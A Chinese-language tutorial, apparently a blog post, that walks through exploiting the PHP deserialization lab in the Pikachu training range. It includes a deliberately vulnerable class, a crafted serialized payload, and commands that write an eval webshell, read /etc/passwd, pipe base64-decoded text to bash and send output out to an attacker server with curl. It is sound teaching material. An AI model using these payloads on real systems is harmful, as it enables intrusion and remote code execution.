1. 项目概述:从靶场到实战的桥梁
在安全测试的学习路径上,靶场扮演着至关重要的角色。它像是一个精心设计的“安全实验室”,为我们提供了合法、可控的环境,去复现、理解和利用那些在真实世界中可能造成严重危害的安全漏洞。Pikachu靶场,作为国内安全圈内广为人知的入门级综合漏洞演练平台,其设计初衷就是为了让初学者能够在一个相对友好的环境中,逐步建立起对Web安全漏洞的立体认知。它覆盖了SQL注入、XSS、文件上传、RCE等主流漏洞类型,而其中的PHP反序列化漏洞模块,更是许多学习者从“知道概念”到“理解原理”再到“动手利用”的关键一跃。
我之所以选择以Pikachu靶场中的PHP反序列化漏洞作为深度剖析的对象,是因为这个漏洞类型完美地体现了现代Web应用安全中“逻辑”与“数据”边界的模糊性。它不像SQL注入那样直接操作数据库,也不像XSS那样直观地影响前端页面。反序列化漏洞更像是一个“特洛伊木马”,攻击者将恶意指令伪装成普通的数据对象,在应用内部逻辑的“护送”下,穿越层层防线,最终在核心地带引爆。审计和利用这类漏洞,要求我们不仅要看懂代码的“字面意思”,更要理解其背后对象生命周期、魔术方法触发以及数据流控制的“弦外之音”。
通过这次实战,我们的目标非常明确:不仅仅是按照攻略点一下按钮拿到一个“漏洞存在”的提示。我们要做的是,像一名真正的安全研究员或代码审计员那样,深入Pikachu靶场提供的反序列化漏洞场景代码内部,一行行地分析其构造逻辑,理解漏洞产生的根本原因,并亲手构造出能够实现任意代码执行的攻击载荷(Payload)。这个过程,将涉及对PHP魔术方法(如__wakeup,__destruct,__toString)的深刻理解,对序列化字符串结构的精确把握,以及对Web请求交互过程的熟练操作。无论你是刚刚接触代码审计的新手,还是希望巩固反序列化知识点的从业者,这篇详尽的实战记录都将为你提供一条清晰的路径和大量可直接复现的细节。
2. 漏洞原理深度解析:对象如何变成武器
在开始审计Pikachu的代码之前,我们必须夯实基础,彻底搞清楚PHP反序列化漏洞究竟为何能产生如此大的破坏力。简单来说,序列化(serialize)是将一个对象的状态信息转换为可以存储或传输的形式(通常是字符串)的过程,而反序列化(unserialize)则是将这个字符串恢复为原始对象的过程。这个机制本身是为了方便数据的持久化存储和网络传输,本身并无过错。漏洞产生的根源,在于反序列化过程中,PHP会自动调用对象的一些特殊方法——魔术方法。
关键在于,反序列化操作重建的不仅仅是一个对象的属性(数据),还包括其类结构。如果这个类中定义了某些在特定时机会被自动调用的魔术方法,并且这些方法中的代码逻辑存在缺陷或被攻击者精心利用,那么危险就产生了。在PHP反序列化漏洞利用中,最常被盯上的几个魔术方法是:
__wakeup(): 当一个对象被反序列化时,__wakeup()方法会自动调用。它常被用于重新建立数据库连接、初始化资源等。如果这里的代码包含了危险函数(如system,eval,file_put_contents)并且其参数可控,那就是最直接的漏洞点。__destruct(): 当对象被销毁(如脚本执行结束、对象被显式unset)时,__destruct()方法会自动调用。这是利用链中极其常见的“入口点”或“跳板”,因为它的触发相对确定。__toString(): 当一个对象被当作字符串处理(如echo $obj;)时,此方法会被调用。如果方法内部有危险操作且其参数依赖于对象属性,而这些属性可通过反序列化控制,就可能构成漏洞。
Pikachu靶场中的反序列化漏洞场景,通常就是基于以上原理构建的。它模拟了一个常见的编程场景:开发者接收用户输入,未经充分校验就直接传递给unserialize()函数,期望还原一个预期的对象。然而,攻击者却可以提交一个精心构造的序列化字符串,这个字符串被还原成的对象,其类中某个魔术方法(如__destruct)里的一段危险代码(例如,包含file_put_contents写入Webshell的代码)就会被执行。整个攻击链条可以概括为:可控输入 ->unserialize()-> 恶意对象被重建 -> 魔术方法自动触发 -> 危险代码执行。
理解这个原理后,我们审计代码的目标就清晰了:第一,找到程序中接收外部参数并调用unserialize()的地方;第二,定位被反序列化的类定义,分析其魔术方法中是否存在可利用的危险函数;第三,确认危险函数的参数是否依赖于对象的属性,并且这些属性能否通过我们构造的序列化字符串进行控制。这三步,就是我们接下来的行动指南。
3. Pikachu靶场环境搭建与代码定位
工欲善其事,必先利其器。首先我们需要一个可操作的Pikachu靶场环境。推荐使用集成的Web开发环境套件,如PHPStudy或XAMPP,这能省去大量配置时间。假设你已经安装好了Apache和PHP(版本5.4以上即可,建议7.x以兼容更多语法),搭建Pikachu的步骤非常简单:
- 下载源码:从GitHub等平台获取Pikachu靶场的源代码压缩包。
- 部署目录:将解压后的整个
pikachu文件夹,放置到你的Web服务器根目录下(例如,对于PHPStudy是WWW目录,对于XAMPP是htdocs目录)。 - 初始化数据库:访问
http://your-ip/pikachu,页面通常会提示你进行安装。点击链接,根据指引完成数据库的创建和初始化(这通常涉及运行一个*.sql文件)。 - 访问靶场:安装完成后,再次访问根URL,就能看到Pikachu漏洞平台的主界面了。
进入主界面后,在左侧漏洞菜单中找到“反序列化漏洞”并点击。Pikachu通常会有多个反序列化相关的子关卡,我们选择最具代表性的那个进行深度审计。点击进入后,你会看到一个简单的表单,可能就是让你输入点什么然后提交。我们的战场不在前端,而在后端代码。
现在,打开你的代码编辑器或IDE,定位到Pikachu的源代码目录。反序列化漏洞相关的代码通常存放在一个独立的文件中。根据Pikachu的常见结构,这个文件路径可能类似于pikachu/vul/unserilization/unser.php或pikachu/vul/unser/目录下的某个文件。你需要仔细查看文件命名和目录结构来找到它。找到目标文件后,用编辑器打开,我们的代码审计工作正式启动。
注意:在真实审计中,如果目标系统不是像靶场这样结构清晰,你可能需要全局搜索关键词,如
unserialize(、__wakeup、__destruct来定位可疑文件。在Pikachu中,我们可以直奔主题。
4. 靶场漏洞代码逐行审计与逻辑还原
假设我们找到的漏洞文件是unser.php。让我们像侦探一样,开始逐行审视这段代码。以下是一个高度模拟Pikachu靶场风格的漏洞代码示例,我们将基于此进行审计:
<?php class VulnClass { public $dangerous_cmd = \"whoami\"; public $useless_var = \"hello\"; function __destruct() { system($this->dangerous_cmd); } } $input_data = $_GET[‘data’]; if(isset($input_data)){ $obj = unserialize($input_data); echo \"反序列化完成,对象属性useless_var是:\" . $obj->useless_var; } else { show_source(__FILE__); } ?>第一步:定位反序列化入口点代码非常简短。我们一眼就能看到第10行:$input_data = $_GET[‘data’];。这里直接从GET请求参数中获取名为data的输入,并将其赋值给$input_data变量。这是一个明确的用户输入点。
第二步:追踪输入流向紧接着第11-14行,是一个条件判断。如果$input_data被设置了(即用户传了data参数),代码就会执行$obj = unserialize($input_data);。看,用户输入的data参数,未经任何过滤、校验或类型检查,直接被送入了unserialize()函数。这是漏洞形成的最关键一步——不可信数据直接进入反序列化函数。
第三步:分析被反序列化的类结构第2-8行定义了一个名为VulnClass的类。我们仔细分析它的结构:
public $dangerous_cmd = “whoami”;: 一个公有属性,默认值是字符串“whoami”。public $useless_var = “hello”;: 另一个公有属性。function __destruct() { system($this->dangerous_cmd); }: 这是类的析构函数__destruct()。它的逻辑是,调用 PHP 的system()函数,执行$this->dangerous_cmd这个属性所代表的系统命令。
漏洞逻辑链条闭合:
- 攻击者通过GET请求的
data参数,传入一个自定义的序列化字符串。 - 服务端
unserialize()这个字符串,试图还原成一个VulnClass对象。 - 在对象被还原后,根据PHP生命周期,当脚本执行结束或该对象不再被需要时,其
__destruct()方法会被自动调用。 __destruct()方法执行了system($this->dangerous_cmd)。- 关键在于,
$this->dangerous_cmd的值来自于对象的属性。而这个属性值,正是通过我们传入的序列化字符串来设定的!如果我们能在序列化字符串中将dangerous_cmd的值设置为任意命令(如cat /etc/passwd或写入Webshell的命令),那么system()函数执行的就不再是默认的whoami,而是我们的恶意命令。
第四步:理解输出与交互代码第12行,在反序列化后,输出了$obj->useless_var。这给了我们一个重要的回显点。在实战中,即使命令执行没有直接回显在页面上,我们也可以通过这个回显来验证我们的序列化字符串是否被正确解析,对象属性是否被成功覆盖。例如,如果我们把useless_var改成hacked,页面回显就会变成“反序列化完成,对象属性useless_var是:hacked”,这证明我们的Payload起效了,对象按照我们的意图被重建。
至此,代码审计完成。我们清晰地看到了一个完整的“用户输入可控 -> 危险反序列化 -> 魔术方法自动执行 -> 参数可控导致代码执行”的漏洞链条。接下来,就是构造攻击载荷的环节。
5. 攻击载荷(Payload)手工构造与利用
理解了漏洞原理和代码逻辑后,我们就可以动手构造攻击用的序列化字符串了。我们的目标是:构造一个VulnClass对象的序列化表示,并且将其中的dangerous_cmd属性值替换为我们想执行的系统命令。
第一步:本地模拟构造最安全、最清晰的方式是在本地编写一个PHP脚本进行构造。新建一个文件,比如create_payload.php:
<?php class VulnClass { public $dangerous_cmd = \"whoami\"; public $useless_var = \"hello\"; function __destruct() { system($this->dangerous_cmd); } } // 创建一个对象实例 $obj = new VulnClass(); // 修改其属性值为我们想要的命令 $obj->dangerous_cmd = \"id\"; // 例如,执行id命令查看当前用户 $obj->useless_var = \"hacked_by_me\"; // 修改另一个属性作为验证 // 序列化这个对象 $serialized_obj = serialize($obj); echo \"生成的序列化字符串:\\n\"; echo $serialized_obj . \"\\n\\n\"; // 可选:进行URL编码,便于通过GET参数传递 echo \"URL编码后:\\n\"; echo urlencode($serialized_obj); ?>运行这个脚本(php create_payload.php),你会得到类似如下的输出:
生成的序列化字符串: O:9:\"VulnClass\":2:{s:14:\"dangerous_cmd\";s:2:\"id\";s:11:\"useless_var\";s:12:\"hacked_by_me\";} URL编码后: O%3A9%3A%22VulnClass%22%3A2%3A%7Bs%3A14%3A%22dangerous_cmd%22%3Bs%3A2%3A%22id%22%3Bs%3A11%3A%22useless_var%22%3Bs%3A12%3A%22hacked_by_me%22%3B%7D第二步:解读序列化字符串结构这个字符串就是我们的武器。我们来拆解一下:
O:9:\"VulnClass\": 表示这是一个对象(Object),类名长度为9,类名是VulnClass。:2:: 表示这个对象有2个属性。{s:14:\"dangerous_cmd\";s:2:\"id\";: 第一个属性。s:14表示属性名是长度为14的字符串“dangerous_cmd”;s:2:\"id\"表示该属性的值是长度为2的字符串“id”。s:11:\"useless_var\";s:12:\"hacked_by_me\";: 第二个属性,结构同理。}: 对象定义结束。
第三步:发起攻击现在,打开浏览器或使用Burp Suite、cURL等工具,向靶场漏洞页面发起请求。假设靶场地址是http://192.168.1.100/pikachu/vul/unserilization/unser.php。
我们使用GET方式,将data参数设置为上面生成的序列化字符串(可以用原始字符串,也可以用URL编码后的)。构造的URL如下:
http://192.168.1.100/pikachu/vul/unserilization/unser.php?data=O:9:\"VulnClass\":2:{s:14:\"dangerous_cmd\";s:2:\"id\";s:11:\"useless_var\";s:12:\"hacked_by_me\";}访问这个URL。如果漏洞存在且利用成功,你应该会看到:
- 页面上显示
“反序列化完成,对象属性useless_var是:hacked_by_me”。这证明我们的Payload被正确解析,对象属性被成功覆盖。 - 同时,
id命令会在服务器端执行。由于代码中使用的是system()函数,其输出默认会直接返回到HTML页面中。所以,你很可能在页面的某个位置(可能在回显文字之前或之后,也可能因为HTML渲染问题需要查看页面源代码)看到uid=33(www-data) gid=33(www-data) groups=33(www-data)这样的系统命令执行结果。
实操心得:如果命令执行结果没有直接显示在页面上,可能是输出被缓冲、错误处理或者代码设计所致。此时可以尝试使用其他命令进行探测,比如
echo ‘test’ > /tmp/test.txt来写入文件,或者ping -c 1 your_ip通过DNSlog、ICMP等方式进行带外(OOB)检测,以验证命令是否确实被执行。
6. 漏洞利用的进阶技巧与变形
成功执行id命令只是第一步。在真实的渗透测试或安全评估中,我们的目标往往是获取更稳固的访问权限,比如上传一个Webshell。我们可以利用同样的漏洞,构造更复杂的Payload。
技巧一:写入Webshell假设我们想写入一个一句话木马到网站根目录。我们需要修改dangerous_cmd的值。但这里有个问题:system()函数执行的是单个命令字符串。我们要写入文件,需要用到echo或printf命令,并且要注意特殊字符(如空格、引号、尖括号)在URL和命令行中的转义。
一个常见的Payload是:
$obj->dangerous_cmd = \"echo ‘<?php @eval(\\$_POST[cmd]);?>‘ > /var/www/html/pikachu/shell.php\";将其序列化后,通过GET参数传递。如果Web服务有写入权限,就会在指定路径生成一个Webshell文件。之后,我们就可以用蚁剑、菜刀等工具连接这个shell,获得一个图形化的交互界面。
注意事项:路径
/var/www/html/pikachu/需要根据靶场的实际安装路径进行调整。在不确定时,可以先尝试pwd命令查看当前目录,或者使用find / -name ‘index.php’ -type f 2>/dev/null等命令来定位Web根目录。
技巧二:处理复杂命令与编码如果命令中包含空格、引号、管道符等特殊字符,在构造序列化字符串和URL传输时很容易出错。一个可靠的方法是分步构造:
- 先在本地PHP脚本中,用单引号定义命令字符串,避免PHP自身的转义问题。
- 使用
urlencode()函数对生成的整个序列化字符串进行编码,确保其在HTTP传输中不会变形。 - 在Burp Suite中发送请求时,如果使用Repeater模块,有时需要将
%20(空格)等编码手动替换为+,或者尝试不编码直接发送原始字符串,这取决于服务端的解析方式。多测试几种格式。
技巧三:利用__wakeup()方法Pikachu靶场可能还设计了其他变种。例如,漏洞点可能在__wakeup()方法中。审计和利用方式完全类似,只是触发时机不同:__wakeup()在反序列化完成后立即触发,而__destruct()在对象销毁时触发。对于__wakeup()的利用,你甚至可能不需要关心对象后续如何被使用,只要反序列化成功,代码就会执行。
技巧四:寻找隐藏的利用链(POP Chain)在更复杂、更真实的应用中,漏洞可能不会这么直观。危险函数system()可能不在反序列化的类里,而在另一个类的方法中。这时,我们需要寻找一条“属性魔术方法链”(Property-Oriented Programming Chain, POP Chain)。即,通过控制A对象的某个属性,使其在某个魔术方法中被调用,而这个调用又触发了B对象的方法,B对象的方法最终指向了危险函数。审计这类漏洞需要对整个应用的类库结构有全局了解,并善于使用__get(),__call(),__toString()等魔术方法作为跳板。虽然Pikachu基础关卡可能不涉及,但这是反序列化漏洞审计的高级阶段。
7. 实战中常见问题与排查实录
即便在像Pikachu这样可控的靶场环境中,新手在实操时也难免会遇到各种问题。下面我记录了几个最常见的问题及其排查思路,这比单纯的利用步骤更有价值。
问题1:提交Payload后,页面没有任何变化,只显示默认页面或空白。
- 排查思路:
- 检查参数名:确认URL中的参数名是否是
data?有时可能是input,str,code等。查看前端表单或分析源码确认。 - 检查序列化字符串完整性:确保你复制粘贴的序列化字符串没有遗漏开头或结尾的字符,特别是大括号
}。在URL中,引号和冒号等字符有时会被错误处理,使用URL编码版本更可靠。 - 查看服务器错误日志:这是最重要的调试手段。到你的Apache或PHP的error_log文件中查看。你可能会看到
“unserialize(): Error at offset X of Y bytes”这样的错误。这通常意味着序列化字符串格式错误、长度不对(属性值长度s:X与实际字符串长度不符)、或者类名不对。根据错误信息调整你的Payload。 - 验证类名和属性名:序列化字符串中的类名
VulnClass必须与后端PHP代码中定义的类名完全一致,包括大小写。属性名dangerous_cmd和useless_var也必须一致。一个字符的差异都会导致反序列化失败。
- 检查参数名:确认URL中的参数名是否是
问题2:页面回显了修改后的useless_var属性(如“hacked_by_me”),但没有看到命令执行的结果。
- 排查思路:
- 查看页面源代码:
system()或exec()等函数执行的输出,有时会被插入到HTML中不显眼的位置,或者因为前后有未闭合的HTML标签导致浏览器不渲染。按Ctrl+U查看页面源代码,仔细搜索uid,www-data,root等关键词。 - 命令是否执行成功:可能你执行的命令本身有误,或者环境不存在该命令。尝试一个更简单、更通用的命令,如
echo 123或whoami。 - 权限问题:Web服务器进程(如www-data用户)可能没有执行某些命令(如
cat /etc/shadow)的权限,或者被禁用了危险函数。尝试执行echo $PATH查看环境变量,或php -v看看能否调用PHP。 - 使用带外检测:如果命令执行了但输出被丢弃,可以尝试使用DNSlog或HTTP请求外带数据。例如,执行
curl http://your-server.com/?whoami,在你的服务器上查看访问日志,看是否有请求记录,从而确认命令执行。
- 查看页面源代码:
问题3:我想执行更复杂的命令(如包含管道、重定向),但总是失败。
- 解决方案:
- 编码与转义:将整个命令用
base64编码,然后在Payload中解码执行。这是绕过复杂转义问题的黄金法则。// 本地构造 $cmd = “ls -la /tmp | grep test”; $b64_cmd = base64_encode($cmd); $obj->dangerous_cmd = “echo $b64_cmd | base64 -d | bash”; // 或者更简洁的:`bash -c {echo,`base64-string`}|{base64,-d}|{bash,-i}` - 写入脚本执行:分两步。第一步,用
echo将复杂的Shell脚本写入一个临时文件(如/tmp/a.sh)。第二步,执行chmod +x /tmp/a.sh && /tmp/a.sh。这样可以将复杂的逻辑放在脚本里,避免在单行命令中处理所有转义。
- 编码与转义:将整个命令用
问题4:靶场提示“反序列化漏洞”,但我找不到unserialize()函数在哪里。
- 排查思路:
- 全局搜索:在Pikachu源码目录下,使用
grep -r “unserialize” .命令进行递归搜索。 - 查看包含文件:漏洞入口文件可能通过
include或require包含了其他定义了类或函数的文件。检查文件开头的包含语句。 - 关注参数传递:可能用户输入先被接收,然后传递到另一个函数或类方法中,在那里才被反序列化。需要跟踪变量的传递流程。
- 全局搜索:在Pikachu源码目录下,使用
通过以上这些实战问题的排查,你不仅能解决眼前的问题,更能积累宝贵的调试经验,这些经验在审计真实、复杂的系统时至关重要。记住,耐心和细致是安全研究员最重要的品质之一。每一个错误信息、每一次异常的响应,都是通往漏洞核心的线索。